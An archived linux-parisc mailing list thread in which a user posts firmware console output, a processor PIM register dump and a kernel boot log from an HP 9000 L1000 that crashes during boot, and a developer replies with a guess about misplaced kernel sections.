

             9000/800/L1000-44 System Name: scaspdb24


GSP Host Name:  scaspdb24
GSP> r ser pim

Unknown Command 


GSP Host Name:  scaspdb24
GSP> rs


RS

Execution of this command irrecoverably halts all system processing and
I/O activity and restarts the computer system.

Type Y to confirm your intention to restart the system: (Y/[N]) y
y
   -> SPU hardware was successfully issued a reset.


GSP Host Name:  scaspdb24
GSP> 
********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       FLASH    FLASH         FLASH     ON         ON
LED State: Unexpected Reboot. Running non-OS code. Non-critical error detected.
Check Chassis and Console Logs for error messages.

platform                  config                     626F
processor                 slave rendezvous           1C17
processor                 test                       1142
processor                 test                       1100
processor                 test                       1100
processor                 test                       1100
processor                 test                       1100
processor                 test                       1100
processor                 test                       1100
processor                 test                       1100
processor                 test                       1100
processor                 test                       1100
PDH                       config                     322F
PDH                       test                       3149
PDH                       test                       3160
platform                  test                       616A
processor                 test                       1146
processor                 INIT                       1701
processor                 INIT                       1701
processor                 test                       1110
processor                 test                       1110
processor                 test                       1110
processor                 INIT                       1701
processor                 test                       1110
processor                 INIT                       1701
processor                 test                       1110
processor                 test                       1110
processor                 slave rendezvous           1C17
processor                 test                       1142
processor                 slave rendezvous           1C10
processor                 test                       1142
PDH                       test                       3158
PDH                       test                       3157
PDH                       test                       316E
PDH                       test                       316E
PDH                       test                       316E
PDH                       test                       316E
PDH                       test                       316E
PDH                       test                       316E
PDH                       test                       316E
memory                    config                     7210
memory                    INIT                       7702
memory                    INIT                       771D
memory                    test                       7150
memory                    config                     7213
memory                    config                     7213
memory                    config                     7214
memory                    config                     7213
memory                    config                     7213
memory                    config                     7214
memory                    config                     7213
memory                    config                     7213
memory                    config                     7214
memory                    config                     7213
memory                    config                     7213
memory                    config                     7214
memory                    config                     7213
memory                    config                     7213
memory                    config                     7214
memory                    config                     7213
memory                    config                     7213
memory                    config                     7214
memory                    config                     7213
memory                    config                     7213
memory                    config                     7214
memory                    config                     7213
memory                    config                     7213
memory                    config                     7214
memory                    config                     7213
memory                    config                     7213
memory                    config                     7215
memory                    config                     7216
memory                    config                     72A0
memory                    test                       71A1
memory                    test                       71A2
memory                    test                       71A4
memory                    test                       71A5
memory                    test                       71A6
memory                    test                       71A3
memory                    test                       71A4
memory                    test                       71A4
memory                    test                       71A5
memory                    test                       71A5
memory                    test                       71A6
memory                    test                       71A6
memory                    config                     7217
memory                    config                     7218
memory                    config                     72A0
memory                    test                       71A1
memory                    test                       71A2
memory                    test                       71A4
memory                    test                       71A5
memory                    test                       71A6
memory                    test                       71A3
memory                    test                       71A4
memory                    test                       71A4
memory                    test                       71A5
memory                    test                       71A5
memory                    test                       71A6
memory                    test                       71A6
memory                    config                     7210
I/O                       INIT                       8701
I/O                       test                       8118
I/O                       test                       8118
I/O                       INIT                       8701
I/O                       INIT                       8701
I/O                       INIT                       8701
I/O                       INIT                       8701
I/O                       INIT                       8701
I/O                       INIT                       8701
I/O                       INIT                       8701
I/O                       INIT                       8701
I/O                       INIT                       8701
memory                    config                     7240
memory                    INIT                       7702
memory                    config                     7241
memory                    config                     7243
memory                    config                     72A0
memory                    test                       71A1
memory                    test                       71A2
memory                    test                       71A4
memory                    test                       71A5
memory                    test                       71A6
memory                    test                       71A3
memory                    test                       71A4
memory                    test                       71A4
memory                    test                       71A4
memory                    test                       71A4
memory                    test                       71A4
memory                    test                       71A4
memory                    test                       71A4
memory                    test                       71A4
memory                    test                       71A4
memory                    test                       71A4
memory                    test                       71A4
memory                    test                       71A4
memory                    test                       71A4
memory                    test                       71A5
memory                    test                       71A5
memory                    test                       71A5
memory                    test                       71A5
memory                    test                       71A5
memory                    test                       71A5
memory                    test                       71A5
memory                    test                       71A5
memory                    test                       71A5
memory                    test                       71A5
memory                    test                       71A5
memory                    test                       71A5
memory                    test                       71A5
memory                    test                       71A6
memory                    test                       71A6
memory                    test                       71A6
memory                    test                       71A6
memory                    test                       71A6
memory                    test                       71A6
memory                    test                       71A6
memory                    test                       71A6
memory                    test                       71A6
memory                    test                       71A6
memory                    test                       71A6
memory                    test                       71A6
memory                    test                       71A6
memory                    INIT                       7745
memory                    config                     7240
I/O                       config                     8204
I/O                       config                     8204
I/O                       test                       8119
I/O                       test                       8119
I/O                       test                       8119
I/O                       test                       8119
I/O                       test                       8119
I/O                       test                       8119
I/O                       test                       8119
I/O                       test                       8119
I/O                       test                       8119
I/O                       test                       8119
I/O                       config                     8204
processor                 test                       1120
processor                 test                       1120
processor                 INIT                       1701
processor                 test                       1120
processor                 test                       1120
processor                 test                       1120
processor                 INIT                       1701
processor                 test                       1120
processor                 slave rendezvous           1C40
processor                 test                       1142
platform                  test                       612A
I/O                       config                     8238

*****************************************

************ EARLY BOOT VFP *************
End of early boot detected
*****************************************

Firmware Version  44.28

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-2002, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           CoProcessor State  Cache Size
  Number                                       State              Inst    Data
  ---------  --------   ---------------------  -----------------  ------------
      0      440  MHz   Active                 Functional         512 KB   1 MB
      3      440  MHz   Idle                   Functional         512 KB   1 MB

  Central Bus Speed (in MHz)  :         82  
  Available Memory            :    3145728  KB
  Good Memory Required        :      22096  KB

   Primary boot path:    0/0/1/1.0           
   Alternate boot path:  0/7/0/0.97.20.19.0.0.5     
   Console path:         0/0/4/0.0           
   Keyboard path:        0/0/4/0.0           


---- Main Menu ---------------------------------------------------------------

     Command                           Description
     -------                           -----------
     BOot [PRI|ALT|<path>]             Boot from specified path
     PAth [PRI|ALT] [<path>]           Display or modify a path
     SEArch [DIsplay|IPL] [<path>]     Search for boot devices

     COnfiguration menu                Displays or sets boot values
     INformation menu                  Displays hardware information
     SERvice menu                      Displays service commands

     DIsplay                           Redisplay the current menu
     HElp [<menu>|<command>]           Display help for menu or command
     RESET                             Restart the system
----
Main Menu: Enter command or menu > ser pim


PROCESSOR PIM INFORMATION

Original Product Number:   A5576A
Current Product Number:    A5576A


-----------------  Processor 0 HPMC Information - PDC Version: 44.28  ------ 

Timestamp =    Thu Jul  30 17:30:07 GMT 2009    (20:09:07:30:17:30:07)

HPMC Chassis Codes 

       Chassis Code        Extension 
       ------------        --------- 
       0x0000082000ff6242  0x0000000000000000
       0x1800082011006312  0xcb81000000000000
       0x0000087000ff6292  0x000000f0f0000000
       0x6000082070006062  0x0000000000100010
       0x7000082070006082  0x0000000000b92400
       0x7000082379006133  0xc1bff0fffed08040
       0x0000080080006310  0x0000000000000001
       0x000008008000631f  0x0000000000000000
       

General Registers 0 - 31
00-03  0000000000000000  00000000402e7098  000000000c1b5c78  000000007f954680
04-07  000000000c1b1000  000000000c1fc800  000000000c1c79b0  000000007f954000
08-11  000000000c1fc830  0000000000000003  00000000fe87e800  000000000c1fc800
12-15  0000000000000000  00000000fb6a2d5e  00000000fb6a2b5e  0000000000000003
16-19  0000000000026420  0000000000000000  00000000fe87e880  000000007f9555b8
20-23  0000000000000000  000000007f9552c0  ffffffffc0000000  0000000000100000
24-27  0000000000000000  0000000000000000  000000000c1fc830  00000000406791c0
28-31  000000000c1b4010  000000007f858be0  000000007f858c90  000000000c1b3fd0


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  000000000000011c  0000000000000000  00000000000000c0  0000000000000001
12-15  0000000000000000  0000000000000000  0000000000103000  ff80000000000000
16-19  0000003aeb5d81e1  0000000000000000  00000000402e70d0  000000000f40109c
20-23  00000000a627ff41  000000004fdfc830  000000ff0804ff0f  8000000000000000
24-27  0000000000586000  000000003f892000  ffffffffffffffff  0000000040001480
28-31  ffffffffffffffff  ffffffffffffff2f  000000007f858000  ffffffffffffffff

Space Registers 0 - 7
00-03  0004d800          00000000          00000000          00047000
04-07  00000000          00000000          00000000          00000000


IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x00000000402e70d4
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030103b
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x000000ffd053f830
System Requestor Address     = 0xfffffffffffa0000


Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  00000000bf840350  00000000bf840358  0000000000000008
08-11  000000004020b518  00000000ff83a268  0000000000000000  0000000000000002
12-15  00000000ff83fc10  00000000ff8403f0  00000000ff83fc00  00000000406791c0
16-19  0000000000000002  00000000ff83a268  00000000406879c0  00000000406809c0
20-23  00000000000000ff  00000000406791c0  0000000000000000  0000000000000000
24-27  0000000000000000  0000000000000000  fffffffffffff000  00000000fefa6000
28-31  0000000000000000  0000000000000000  ffffffffffffff9c  00000000406791c0


Check Summary                = 0xcb81000000000000
Available Memory             = 0x00000000c0000000
CPU Diagnose Register 2      = 0x0203000100802004
CPU Status Register 0        = 0x2440c24000000000
CPU Status Register 1        = 0x8002000000000000
SADD LOG                     = 0x147ffcffffffffff
Read Short LOG               = 0xc1af00ffd053f830



-----------------  Processor 0 LPMC Information ------------------

Check Type                   = 0x00000000
IC Parity Info               = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000



-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000

Space Registers 0 - 7
00-03  00000000          00000000          00000000          00000000
04-07  00000000          00000000          00000000          00000000

IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x0000000000000000
CPU State                    = 0x00000000



-----------------  Processor 3 HPMC Information - PDC Version: 44.28  ------ 

Timestamp =    Thu Jul  30 17:30:07 GMT 2009    (20:09:07:30:17:30:07)

HPMC Chassis Codes 

       Chassis Code        Extension 
       ------------        --------- 
       0x0000082000ff6242  0x0000000000000000
       0x1800082011036322  0xcb81800000000000
       

General Registers 0 - 31
00-03  0000000000000000  000000004067a9c0  000000004011c18c  0000000043541518
04-07  00000000406791c0  00000000fc985000  000000007f93f000  0000000000000000
08-11  00000000fca67918  000000007f8d9cc0  00000000404eb740  0000000040000000
12-15  0000000000000000  0000000000000200  0000000040311427  0000000000000000
16-19  00000000419e85c8  000000007f93f888  0000000000000000  0000000000000000
20-23  000000000003f93f  00000000fffffffa  0000000000000000  0000000000000040
24-27  0000000000000010  00000000fc985fc0  000000004050a000  00000000406791c0
28-31  0000000000000001  000000007f94c800  000000007f94c830  00000000005282a3


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000146  0000000000000000  00000000000000c0  0000000000000000
12-15  0000000000000000  0000000000000000  0000000000103000  ff80000000000000
16-19  0000003aeb5d7f36  0000000000000000  000000004011c190  0000000004a01200
20-23  0000000000000000  00000000fc985000  000000ff0804f90f  8000000000000000
24-27  0000000000586000  000000003f952000  fffffffff37f7f00  0000000040001b60
28-31  fffffffff37f7f00  fffffffff37f7f00  000000007f94c000  fffffffff37f7f00

Space Registers 0 - 7
00-03  00051800          00000000          00000000          00051800
04-07  00000000          00000000          00000000          00000000


IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x000000004011c194
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030000d
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0xfffffffffffa6000
System Requestor Address     = 0xfffffffffffa0000


Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  00000000bf840350  00000000bf840358  0000000000000008
08-11  000000004020b518  00000000ff83a268  0000000000000000  0000000000000002
12-15  00000000ff83fc10  00000000ff8403f0  00000000ff83fc00  00000000406791c0
16-19  0000000000000002  00000000ff83a268  00000000406879c0  00000000406809c0
20-23  00000000000000ff  00000000406791c0  0000000000000000  0000000a4067a9c0
24-27  0000000000000000  00000000406841c0  fffffffffffff000  00000000fefa6000
28-31  0000000000000000  0000000000000000  ffffffffffffff9c  00000000406791c0


Check Summary                = 0xcb81800000000000
Available Memory             = 0x00000000c0000000
CPU Diagnose Register 2      = 0x0203030100802004
CPU Status Register 0        = 0x3440c24000000000
CPU Status Register 1        = 0x8000000000000000
SADD LOG                     = 0x4800000000000000
Read Short LOG               = 0xc13ff0f0f0047218



-----------------  Processor 3 LPMC Information ------------------

Check Type                   = 0x00000000
IC Parity Info               = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000



-----------------  Processor 3 TOC Information -------------------

General Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000

Space Registers 0 - 7
00-03  00000000          00000000          00000000          00000000
04-07  00000000          00000000          00000000          00000000

IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x0000000000000000
CPU State                    = 0x00000000


--------------  Memory Error Log Information  --------------

Bus 0 Log Information

Timestamp =    Thu Jul  30 17:30:07 GMT 2009    (20:09:07:30:17:30:07)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
  X       X     ERR_ERROR       X            X           

Bus Requestor Address      = 0xfffffffffffa0000
Bus Target Address         = 0x0000000000000000
Bus Responder Address      = 0xfffffffffed00000

Error Status Reg           = 0x0000000000100010
Runway Control Reg         = 0x0000021c00001418
Runway Address Reg         = 0xc1bff0fffed08040
Runway Data High Reg       = 0xe840c000083c025c
Runway Data Low Reg        = 0xe840c000083c025c
Memory Address Reg         = 0x000001ff3fffffff
Memory Address Corr Reg    = 0x000001ff3fffffff
Memory Syndrome Reg        = 0x0000000000000000
Memory Syndrome Corr Reg   = 0x0000000000000000



 Address/Control Parity Error Registers  

   Address/Control Parity Error Bit (mem_addr_par_stat) Not Set 



------------  I/O Module Error Log Information  ------------


   No I/O module errors logged


Main Menu: Enter command or menu > 

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Fri, 31 Jul 2009 09:25:44 +0800
Lines: 957
Approved: news@gmane.org
Message-ID: <4A724818.4080909@tausq.org>
References: <20090615134519.6EE824FC5@hiauly1.hia.nrc.ca> <Pine.SOC.4.64.0907302054100.20870@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249003576 10086 80.91.229.12 (31 Jul 2009 01:26:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jul 2009 01:26:16 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 31 03:26:05 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MWgsm-000269-Mw
	for glpp-linux-parisc@gmane.org; Fri, 31 Jul 2009 03:26:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750745AbZGaB0C (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 Jul 2009 21:26:02 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751068AbZGaB0C
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 30 Jul 2009 21:26:02 -0400
Original-Received: from wa-out-1112.google.com ([209.85.146.178]:18258 "EHLO
	wa-out-1112.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750745AbZGaB0A (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 Jul 2009 21:26:00 -0400
Original-Received: by wa-out-1112.google.com with SMTP id j5so278250wah.21
        for <linux-parisc@vger.kernel.org>; Thu, 30 Jul 2009 18:25:59 -0700 (PDT)
Original-Received: by 10.115.73.16 with SMTP id a16mr1452111wal.226.1249003559141;
        Thu, 30 Jul 2009 18:25:59 -0700 (PDT)
Original-Received: from ?192.168.100.52? ([118.142.45.178])
        by mx.google.com with ESMTPS id n30sm4053769wag.6.2009.07.30.18.25.55
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Thu, 30 Jul 2009 18:25:57 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.22 (Windows/20090605)
In-Reply-To: <Pine.SOC.4.64.0907302054100.20870@math.ut.ee>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1956
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1956>

Please see http://www.parisc-linux.org/faq/kernelbug-howto.html

(Thought I just noticed some bits of it are no longer true, such as the 
address ranges)

Anyway, from the output below, I suspect maybe we have some kernel 
functions that are not in the right section, since the error happens 
right after  "Freeing unused kernel memory"?

But this is just a guess.

randolph

Meelis Roos wrote:
>>> 0x0000007000FF6292 000000F0 F0000000 - type  0 = Data Field Unused
>>> 0x5800087000FF6292 00006D05 0F092C37 - type 11 = Timestamp 06/15/2009 09:44:55
>> I believe FF6292 is a HPMC.  Please collect and post the "ser pim" output
>> for the above.  It would also help if the location of the HPMC can be related
>> to your compiled kernel using objdump.
> 
> Well, it took some time, but I'm back to it. I rebooted a 
> Debian-packaged kernel and got SER PIM output as well for the same boot. 
> I also checked that there's nothing more in GSP console log.
> 
> As I can't boot it up with any kernel currently, I could not objdump the 
> specific image, but I know it's 2.6.29-5 version of Debian 
> 2.6.29-2-parisc64-smp kernel. Will investigate if I get a match - what 
> address should I be decoding?
> 
> Main Menu: Enter command or menu > bo
> NOTICE: System integrity at risk when selftest(s) are disabled.
>         Enabling selftests with "ser sel on" will prevent this note.
>         Do you wish to continue the boot?  [Y] or N: y
> Interact with IPL (Y, N, or Cancel)?> y
> 
> Booting... 
> Boot IO Dependent Code (IODC) revision 1
> 
> 
> HARD Booted.
> palo ipl 1.14 root@penalosa Wed Oct  8 15:04:37 UTC 2008
> Skipping extended partition 6 - beyond reach of IPL
> 
> Partition Start(MB) End(MB) Id Type
> 1               1      31   f0 Palo
> 2              32     156   83 ext2
> 5             157   33408   83 ext2
> 
> PALO(F0) partition contains:
>     0/vmlinux64 6240197 bytes @ 0x48000
> 
> Information: No console specified on kernel command line. This is normal.
> PALO will choose the console currently used by firmware (serial).Current command line:
> 2/vmlinux root=/dev/sda5 initrd=2/initrd.img HOME=/ console=ttyS0 TERM=vt102
>  0: 2/vmlinux
>  1: root=/dev/sda5
>  2: initrd=2/initrd.img
>  3: HOME=/
>  4: console=ttyS0
>  5: TERM=vt102
> 
> <#>    edit the numbered field
> 'b'    boot with this command line
> 'r'    restore command line
> 'l'    list dir
> ? 0 l
> Directory listing of /.
> 
>   lost+found
>   vmlinux
>   initrd.img-2.6.29-rc1.bak
>   initrd.img
>   vmlinux.old
>   System.map-2.6.29-rc1
>   vmlinux-2.6.29-rc1
>   config-2.6.29-rc8
>   System.map-2.6.29-rc8
>   vmlinux-2.6.29-rc8
>   initrd.img-2.6.29-rc8
>   config-2.6.29-rc1
>   initrd.img-2.6.29-rc1
>   System.map-2.6.26-1-parisc64-smp
>   System.map-2.6.26-1-parisc64
>   config-2.6.26-1-parisc64
>   vmlinux-2.6.26-1-parisc64
>   vmlinux-2.6.26-1-parisc64-smp
>   config-2.6.26-1-parisc64-smp
>   initrd.img-2.6.26-1-parisc64-smp
>   initrd.img-2.6.26-1-parisc64
>   initrd.img.old
>   initrd.img-2.6.26-1-parisc64-smp.bak
>   System.map-2.6.29-2-parisc64-smp
>   vmlinux-2.6.29-2-parisc64-smp
>   config-2.6.29-2-parisc64-smp
>   initrd.img-2.6.29-2-parisc64-smp
> 
> Current command line:
> 2/vmlinux root=/dev/sda5 initrd=2/initrd.img HOME=/ console=ttyS0 TERM=vt102
>  0: 2/vmlinux
>  1: root=/dev/sda5
>  2: initrd=2/initrd.img
>  3: HOME=/
>  4: console=ttyS0
>  5: TERM=vt102
> 
> <#>    edit the numbered field
> 'b'    boot with this command line
> 'r'    restore command line
> 'l'    list dir
> ? 0
> 2/vmlinux-2.6.29-2-parisc64-smp
> Current command line:
> 2/vmlinux-2.6.29-2-parisc64-smp root=/dev/sda5 initrd=2/initrd.img HOME=/ console=ttyS0 TERM=vt102
>  0: 2/vmlinux-2.6.29-2-parisc64-smp
>  1: root=/dev/sda5
>  2: initrd=2/initrd.img
>  3: HOME=/
>  4: console=ttyS0
>  5: TERM=vt102
> 
> <#>    edit the numbered field
> 'b'    boot with this command line
> 'r'    restore command line
> 'l'    list dir
> ? 0 2
> initrd=2/initrd.img-2.6.29-2-parisc64-smp
> Current command line:
> 2/vmlinux-2.6.29-2-parisc64-smp root=/dev/sda5 initrd=2/initrd.img-2.6.29-2-parisc64-smp HOME=/ console=ttyS0 TERM=vt102
>  0: 2/vmlinux-2.6.29-2-parisc64-smp
>  1: root=/dev/sda5
>  2: initrd=2/initrd.img-2.6.29-2-parisc64-smp
>  3: HOME=/
>  4: console=ttyS0
>  5: TERM=vt102
> 
> <#>    edit the numbered field
> 'b'    boot with this command line
> 'r'    restore command line
> 'l'    list dir
> ? 0 b
> 
> Command line for kernel: 'root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux-2.6.29-2-parisc64-smp'
> Selected kernel: /vmlinux-2.6.29-2-parisc64-smp from partition 2
> Selected ramdisk: /initrd.img-2.6.29-2-parisc64-smp from partition 2
> ELF64 executable
> Entry 00100000 first 00100000 n 3
> Segment 0 load 00100000 size 4784128 mediaptr 0x1000
> Segment 1 load 00628000 size 403984 mediaptr 0x491000
> Segment 2 load 0068c000 size 317824 mediaptr 0x4f4000
> Loading ramdisk 7887983 bytes @ 3f868000...
> Branching to kernel entry point 0x00100000.  If this is the last
> message you see, you may need to switch your console.  This is
> a common symptom -- search the FAQ and mailing list at parisc-linux.org
> 
> [    0.000000] Initializing cgroup subsys cpuset
> [    0.000000] Initializing cgroup subsys cpu
> [    0.000000] Linux version 2.6.29-2-parisc64-smp (Debian 2.6.29-5) (waldi@debian.org) (gcc version 4.3.3 (GCC) ) #1 SMP Mon May 18 14:55:30 UTC 2009
> [    0.000000] unwind_init: start = 0x404bf0a4, end = 0x404eb424, entries = 11320
> [    0.000000] WARNING: Out of order unwind entry! 00000000404c0fb4 and 00000000404c0fc4
> [    0.000000] WARNING: Out of order unwind entry! 00000000404c0fc4 and 00000000404c0fd4
> [    0.000000] FP[0] enabled: Rev 1 Model 16
> [    0.000000] The 64-bit Kernel has started...
> [    0.000000] console [ttyB0] enabled
> [    0.000000] Initialized PDC Console for debugging.
> [    0.000000] Determining PDC firmware type: 64 bit PAT.
> [    0.000000] model 00005c90 00000491 00000000 00000002 2353fbcb 100000f0 00000008 000000b2 000000b2
> [    0.000000] vers  00000203
> [    0.000000] CPUID vers 17 rev 8 (0x00000228)
> [    0.000000] capabilities 0x1
> [    0.000000] model 9000/800/L1000-44
> [    0.000000] Total Memory: 3072 MB
> [    0.000000] initrd: 7f868000-7ffedc6f
> [    0.000000] initrd: reserving 3f868000-3ffedc6f (mem_max c0000000)
> [    0.000000] SMP: bootstrap CPU ID is 0
> [    0.000000] Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 775680
> [    0.000000] Kernel command line: root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux-2.6.29-2-parisc64-smp
> [    0.000000] PID hash table entries: 4096 (order: 12, 32768 bytes)
> [17179569.184000] Console: colour dummy device 160x64
> [17179569.200000] Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes)
> [17179569.240000] Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes)
> [17179569.760000] Memory: 3075708k/3145728k available (3164k kernel code, 69364k reserved, 1459k data, 312k init)
> [17179569.772000] virtual kernel memory layout:
> [17179569.772000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
> [17179569.772000]     memory  : 0x0000000040000000 - 0x0000000100000000   (3072 MB)
> [17179569.772000]       .init : 0x000000004068c000 - 0x00000000406da000   ( 312 kB)
> [17179569.772000]       .data : 0x00000000404173d0 - 0x0000000040584000   (1459 kB)
> [17179569.772000]       .text : 0x0000000040100000 - 0x00000000404173d0   (3164 kB)
> [17179569.840000] Calibrating delay loop... 876.54 BogoMIPS (lpj=1753088)
> [17179569.936000] Security Framework initialized
> [17179569.944000] SELinux:  Disabled at boot.
> [17179569.956000] Mount-cache hash table entries: 256
> [17179570.060000] Initializing cgroup subsys ns
> [17179570.068000] Initializing cgroup subsys cpuacct
> [17179570.072000] Initializing cgroup subsys devices
> [17179570.076000] Initializing cgroup subsys freezer
> [17179570.080000] Initializing cgroup subsys net_cls
> [17179570.096000] Brought up 1 CPUs
> [17179570.348000] net_namespace: 1880 bytes
> [17179570.352000] regulator: core version 0.5
> [17179570.480000] NET: Registered protocol family 16
> [17179570.492000] EISA bus registered
> [17179570.500000] Searching for devices...
> [17179571.076000] Found devices:
> [17179571.080000] 1. Rhapsody DC- 440 at 0xfffffffffffa0000 [160] { 0, 0x0, 0x5c9, 0x00004 }
> [17179571.092000] 2. Rhapsody DC- 440 at 0xfffffffffffa6000 [166] { 0, 0x0, 0x5c9, 0x00004 }
> [17179571.100000] 3. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x095, 0x00009 }
> [17179571.108000] 4. Astro BC Runway Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x582, 0x0000b }
> [17179571.112000] 5. Elroy PCI Bridge at 0xfffffffffed30000 [0/0] { 13, 0x0, 0x782, 0x0000a }
> [17179571.188000] 6. Elroy PCI Bridge at 0xfffffffffed32000 [0/1] { 13, 0x0, 0x782, 0x0000a }
> [17179571.196000] 7. Elroy PCI Bridge at 0xfffffffffed34000 [0/2] { 13, 0x0, 0x782, 0x0000a }
> [17179571.204000] 8. Elroy PCI Bridge at 0xfffffffffed36000 [0/3] { 13, 0x0, 0x782, 0x0000a }
> [17179571.212000] 9. Elroy PCI Bridge at 0xfffffffffed38000 [0/4] { 13, 0x0, 0x782, 0x0000a }
> [17179571.220000] 10. Elroy PCI Bridge at 0xfffffffffed3a000 [0/5] {
> ********** VIRTUAL FRONT PANEL **********
> System Boot detected
> *****************************************
> LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
>        ON       FLASH         OFF       ON         ON
